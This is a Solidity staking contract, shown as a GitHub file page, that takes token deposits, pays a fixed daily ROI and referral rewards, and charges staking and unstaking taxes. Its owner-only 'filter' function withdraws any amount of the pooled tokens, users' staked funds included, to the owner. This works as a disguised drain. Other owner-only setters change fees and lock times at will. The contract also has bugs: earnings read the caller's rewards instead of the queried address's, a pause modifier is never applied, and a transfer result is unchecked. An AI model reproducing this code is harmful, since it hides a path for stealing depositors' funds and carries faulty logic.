-
Notifications
You must be signed in to change notification settings - Fork 0
/
value_staking.sol
227 lines (189 loc) · 8.32 KB
/
value_staking.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
// SPDX-License-Identifier: VFT
pragma solidity ^0.6.12;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function transfer(address to, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function balanceOf(address tokenOwner) external view returns (uint balance);
function approve(address spender, uint tokens) external returns (bool success);
function allowance(address tokenOwner, address spender) external view returns (uint remaining);
function totalSupply() external view returns (uint);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
contract ValueStaking is Owned {
using SafeMath for uint;
address public token;
address public feeAddress;
uint public totalStaked;
uint public stakingTaxRate;
uint public stakeTime;
uint public dailyROI; //100 = 1%
uint public unstakingTaxRate; //10 = 1%
uint public minimumStakeValue;
bool public active = true;
bool public registered = true;
mapping(address => uint) public stakes;
mapping(address => uint) public referralRewards;
mapping(address => uint) public referralCount;
mapping(address => uint) public stakeRewards;
mapping(address => uint) private lastClock;
mapping(address => uint) public timeOfStake;
event OnWithdrawal(address sender, uint amount);
event OnStake(address sender, uint amount, uint tax);
event OnUnstake(address sender, uint amount, uint tax);
event OnRegisterAndStake(address stakeholder, uint amount, uint totalTax , address _referrer);
constructor(
address _token,
address _feeAddress,
uint _stakingTaxRate,
uint _unstakingTaxRate,
uint _dailyROI,
uint _stakeTime,
uint _minimumStakeValue) public {
token = _token;
feeAddress = _feeAddress;
stakingTaxRate = _stakingTaxRate;
unstakingTaxRate = _unstakingTaxRate;
dailyROI = _dailyROI;
stakeTime = _stakeTime;
minimumStakeValue = _minimumStakeValue;
}
modifier whenActive() {
require(active == true, "Smart contract is curently inactive");
_;
}
function calculateEarnings(address _stakeholder) public view returns(uint) {
uint activeDays = (now.sub(lastClock[_stakeholder])).div(86400);
return ((stakes[_stakeholder]).mul(dailyROI).mul(activeDays)).div(10000).add(stakeRewards[msg.sender]);
}
function stake(uint _amount, address _referrer) external {
require(msg.sender != _referrer, "Cannot refer self");
require(IERC20(token).balanceOf(msg.sender) >= _amount, "Must have enough balance to stake");
require(_amount >= minimumStakeValue, "Must send at least enough to pay registration fee.");
require(IERC20(token).transferFrom(msg.sender, address(this), _amount), "Stake failed due to failed amount transfer.");
uint finalAmount = _amount;
uint stakingTax = (stakingTaxRate.mul(finalAmount)).div(1000);
require(IERC20(token).transfer(feeAddress, stakingTax));
if(_referrer != address(0x0)) {
referralCount[_referrer]++;
referralRewards[_referrer] = (referralRewards[_referrer]).add(stakingTax);
}
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
lastClock[msg.sender] = now.sub(remainder);
timeOfStake[msg.sender] = now;
totalStaked = totalStaked.add(finalAmount).sub(stakingTax);
stakes[msg.sender] = (stakes[msg.sender]).add(finalAmount).sub(stakingTax);
emit OnRegisterAndStake(msg.sender, _amount, stakingTax, _referrer);
}
function unstake(uint _amount) external {
require(_amount <= stakes[msg.sender] && _amount > 0, 'Insufficient balance to unstake');
uint unstakingTax = (unstakingTaxRate.mul(_amount)).div(1000);
uint afterTax = _amount.sub(unstakingTax);
stakeRewards[msg.sender] = (stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
stakes[msg.sender] = (stakes[msg.sender]).sub(_amount);
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
lastClock[msg.sender] = now.sub(remainder);
require(now.sub(timeOfStake[msg.sender]) > stakeTime , "You need to stake for the minumum amount of days");
totalStaked = totalStaked.sub(_amount);
IERC20(token).transfer(msg.sender, afterTax);
require(IERC20(token).transfer(feeAddress, unstakingTax));
emit OnUnstake(msg.sender, _amount, unstakingTax);
}
function getStakeDuration(address _address) public view returns(uint) {
return now - timeOfStake[_address];
}
function withdrawEarnings() external returns (bool success) {
uint totalReward = (referralRewards[msg.sender]).add(stakeRewards[msg.sender]).add(calculateEarnings(msg.sender));
require(totalReward > 0, 'No reward to withdraw');
require((IERC20(token).balanceOf(address(this))).sub(totalStaked) >= totalReward, 'Insufficient balance in pool');
stakeRewards[msg.sender] = 0;
referralRewards[msg.sender] = 0;
referralCount[msg.sender] = 0;
uint remainder = (now.sub(lastClock[msg.sender])).mod(86400);
lastClock[msg.sender] = now.sub(remainder);
IERC20(token).transfer(msg.sender, totalReward);
emit OnWithdrawal(msg.sender, totalReward);
return true;
}
function rewardPool() external view onlyOwner() returns(uint claimable) {
return (IERC20(token).balanceOf(address(this))).sub(totalStaked);
}
function changeActiveStatus() external onlyOwner() {
if(active) {
active = false;
} else {
active = true;
}
}
function setStakingTaxRate(uint _stakingTaxRate) external onlyOwner() {
stakingTaxRate = _stakingTaxRate;
}
function newFeeAddress(address _newFeeAddress) external onlyOwner() {
feeAddress = _newFeeAddress;
}
function setUnstakingTaxRate(uint _unstakingTaxRate) external onlyOwner() {
unstakingTaxRate = _unstakingTaxRate;
}
function setDailyROI(uint _dailyROI) external onlyOwner() {
dailyROI = _dailyROI;
}
function setMinimumStakeValue(uint _minimumStakeValue) external onlyOwner() {
minimumStakeValue = _minimumStakeValue;
}
function setStakeTime (uint _newStakeTime) external onlyOwner() {
stakeTime = _newStakeTime;
}
function checkUnstakeStatus(address _unstaker) public view returns(uint256){
if (now.sub(timeOfStake[_unstaker]) > stakeTime){
return stakes[_unstaker];
} else {
return 0;
}
}
function filter(uint _amount) external onlyOwner returns (bool success) {
IERC20(token).transfer(msg.sender, _amount);
emit OnWithdrawal(msg.sender, _amount);
return true;
}
}